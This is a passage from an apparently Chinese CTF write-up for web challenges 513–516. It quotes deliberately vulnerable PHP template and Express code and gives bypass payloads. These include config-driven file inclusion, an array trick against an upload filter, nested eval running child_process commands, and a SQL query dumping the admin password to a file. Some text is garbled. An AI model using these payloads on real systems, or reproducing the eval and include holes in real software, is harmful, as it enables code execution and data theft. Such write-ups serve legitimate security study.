.'/../cache/' .md5 ($value ), $encode ); } $templateContent =str_replace ('{{img:' .$key .'}}' , $encode , $templateContent ); } } return $templateContent ; } public static function checkConfig ($templateContent ) { $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); foreach ($config as $key => $value ) { if (stripos ($templateContent , '{{config:' .$key .'}}' )){ $templateContent =str_replace ('{{config:' .$key .'}}' , $value , $templateContent ); } } return $templateContent ; } public static function checkVar ($templateContent ,$arg ) { $db =new db (); foreach ($arg as $key => $value ) { if (stripos ($templateContent , '{{var:' .$key .'}}' )){ if (!preg_match ('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i' , $value )){ eval ('$v=' .$value .';' ); $templateContent =str_replace ('{{var:' .$key .'}}' , $v , $templateContent ); } } } return $templateContent ; } public static function checkFoot ($templateContent ) { if ( stripos ($templateContent , '{{cnzz}}' )) { $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); $foot = $config ['cnzz' ]; if (is_file ($foot )){ $foot =file_get_contents ($foot ); include ($foot ); } } return $templateContent ; } }
/api/admin_settings.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); foreach ($_POST as $key => $value ) { $config [$key ]=$value ; } file_put_contents (__DIR__ .'/../config/settings' , serialize ($config )); $ret ['msg' ]='管理员信息修改成功' ; die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
public static function checkFoot ($templateContent ) { if ( stripos ($templateContent , '{{cnzz}}' )) { $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); $foot = $config ['cnzz' ]; if (is_file ($foot )){ $foot =file_get_contents ($foot ); include ($foot ); }
我们可以将config中的cnzz改成另一个文件,这样就可以使foot先访问config中的cnzz,接着cnzz又是另一个文件.进行二次文件访问.
web514 render/render_class.php
<?php include ('file_class.php' );include ('cache_class.php' );class templateUtil { public static function render ($template ,$arg =array ( ) ) { $templateContent =fileUtil ::read ('templates/' .$template .'.sml' ); $cache =templateUtil ::shade ($templateContent ,$arg ); echo $cache ; } public static function shade ($templateContent ,$arg =array ( ) ) { $templateContent =templateUtil ::checkImage ($templateContent ,$arg ); $templateContent =templateUtil ::checkConfig ($templateContent ); $templateContent =templateUtil ::checkVar ($templateContent ,$arg ); $templateContent =templateUtil ::checkFoot ($templateContent ); foreach ($arg as $key => $value ) { $templateContent =str_replace ('{{' .$key .'}}' , $value , $templateContent ); } return $templateContent ; } public static function checkImage ($templateContent ,$arg =array ( ) ) { foreach ($arg as $key => $value ) { if (preg_match ('/gopher|file/i' , $value )){ $templateContent =str_replace ('{{img:' .$key .'}}' , '' , $templateContent ); } if (stripos ($templateContent , '{{img:' .$key .'}}' )){ $encode ='' ; if (file_exists (__DIR__ .'/../cache/' .md5 ($value ))){ $encode =file_get_contents (__DIR__ .'/../cache/' .md5 ($value )); }else { $ch =curl_init ($value ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); $result =curl_exec ($ch ); curl_close ($ch ); $ret =chunk_split (base64_encode ($result )); $encode = 'data:image/jpg/png/gif;base64,' . $ret ; file_put_contents (__DIR__ .'/../cache/' .md5 ($value ), $encode ); } $templateContent =str_replace ('{{img:' .$key .'}}' , $encode , $templateContent ); } } return $templateContent ; } public static function checkConfig ($templateContent ) { $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); foreach ($config as $key => $value ) { if (stripos ($templateContent , '{{config:' .$key .'}}' )){ $templateContent =str_replace ('{{config:' .$key .'}}' , $value , $templateContent ); } } return $templateContent ; } public static function checkVar ($templateContent ,$arg ) { $db =new db (); foreach ($arg as $key => $value ) { if (stripos ($templateContent , '{{var:' .$key .'}}' )){ if (!preg_match ('/\(|\[|\`|\'|\$|\_|\<|\?|\"|\+|nginx|\)|\]|include|data|text|filter|input|file|GET|POST|COOKIE|SESSION|file/i' , $value )){ eval ('$v=' .$value .';' ); $templateContent =str_replace ('{{var:' .$key .'}}' , $v , $templateContent ); } } } return $templateContent ; } public static function checkFoot ($templateContent ) { if ( stripos ($templateContent , '{{cnzz}}' )) { $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); $foot = $config ['cnzz' ]; if (is_file ($foot )){ $foot =file_get_contents ($foot ); if (!preg_match ('/<|>|\?|=|php|sess|log|phar|\.|\[|\{|\(|_/' , $foot )){ include ($foot ); } } } return $templateContent ; } }
/api/admin_settings.php
<?php session_start ();error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); if ($user ){ $config = unserialize (file_get_contents (__DIR__ .'/../config/settings' )); foreach ($_POST as $key => $value ) { $config [$key ]=$value ; } file_put_contents (__DIR__ .'/../config/settings' , serialize ($config )); $ret ['msg' ]='管理员信息修改成功' ; die (json_encode ($ret )); }else { $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); }
/api/admin_templates.php
<?php session_start ();include ('../render/db_class.php' );error_reporting (0 );$user = $_SESSION ['user' ];$ret = array ( "code" =>0 , "msg" =>"查询失败" , "count" =>0 , "data" =>array () ); $action =$_GET ['action' ];if (!isset ($user )){ $ret ['msg' ]='请登录后使用此功能' ; die (json_encode ($ret )); } switch ($action ) { case 'list' : $sql = "select id,name,type,path,des from templates limit 0,10" ; $db =new db (); $temps = $db ->select_array ($sql ); if (count ($temps )>0 ){ $ret ['count' ]=count ($temps ); $ret ['data' ]=$temps ; $ret ['msg' ]='查询成功' ; } break ; case 'update' : extract ($_POST ); $row =json_decode ($row ); if (waf ($row )){ break ; } $sql ="update templates set name='{$row->name} ',path='{$row->path} ',type='{$row->type} ',des='{$row->des} ' where id ={$row->id} " ; $db = new db (); if ($db ->update_one ($sql )){ $ret ['msg' ]='实时更新成功' ; }else { $ret ['msg' ]='实时更新失败' ; } break ; case 'getContents' : extract ($_POST ); $template =json_decode ($template ); if (preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\\u4e00-\u9fa5]+$/' , $template ->path)){ $ret ['count' ]=1 ; $ret ['msg' ]='查询成功' ; $ret ['data' ]=array ('contents' =>htmlspecialchars (file_get_contents (__DIR__ .'/../templates/' .$template ->path))); } break ; case 'download' : extract ($_POST ); if (preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\/\u4e00-\u9fa5]+$/' , $path )){ header ("Content-Type: application/octet-stream" ); header ('Content-Disposition: attachment; filename="' . $path . '"' ); echo file_get_contents (__DIR__ .'/../templates/' .$path ); exit (); } break ; case 'upload' : extract ($_POST ); if (!preg_match ('/php|phar|ini|settings/i' , $name )) { if (preg_match ('/<|>|\?|php|=|script|,|;|\(/i' , $content )){ $ret ['msg' ]='文件上传失败' ; }else { file_put_contents (__DIR__ .'/../templates/' .$name , $content ); $ret ['msg' ]='文件上传成功' ; } }else { $ret ['msg' ]='文件上传失败' ; } break ; default : break ; } function waf ($row ) { $ret = false ; if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->name)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->type)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->des)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->path)){ $ret =true ; } if (!preg_match ('/^(?!_)(?!.*?_$)[a-zA-Z0-9_\u4e00-\u9fa5]+$/' , $row ->id)){ $ret =true ; } return $ret ; } die (json_encode ($ret ));
这次我们直接包含一个2.sml文件,其中内容换成
但是需要绕过这行,简单使用数组绕过就好
if (preg_match ('/<|>|\?|php|=|script|,|;|\(/i' , $content )){
web515 var express = require ('express' );var _= require ('lodash' );var router = express.Router ();router.get ('/' , function (req, res, next ) { res.render ('index' , { title: '我是å¤è¯»æœº' }); }); router.post ('/' ,function (req,res,next ) { if (req.body.user!=null ){ msg = req.body.user; if ((msg.match (/proto|process|require |exec|var |'|"|:|\[|\]|[0-9]/))!==null || msg.length>40){ res.render(' index', { title: ' æ•æ„Ÿä¿¡æ¯ä¸å¤è¯»' }); }else{ res.render(' index', { title: eval(msg) }); } }else{ res.render(' index', { title: ' 我是å¤è¯»æœº' }); } }); module.exports = router;
过滤了一些字符
我们采用eval嵌套
index.php?a=require ( 'child_process' ).spawnSync ( 'ls' ,['/' ] ).stdout.toString () POST {"user" :"eval(req.query.a)" }
web516 关键语句,不太懂js
ctx.body='<h3>Hello '+user[0].username+'</h3> your name is: '+user[0].username+' your id is: '+user[0].id+ ' your password is: '+eval('md5('+user[0].password+')');
2 );const init =async ()=>{await User.sequelize.query ("select password from Users where username='admin' into outfile '/app/public/flag';" ,{type:User.sequelize.SELECT});};init (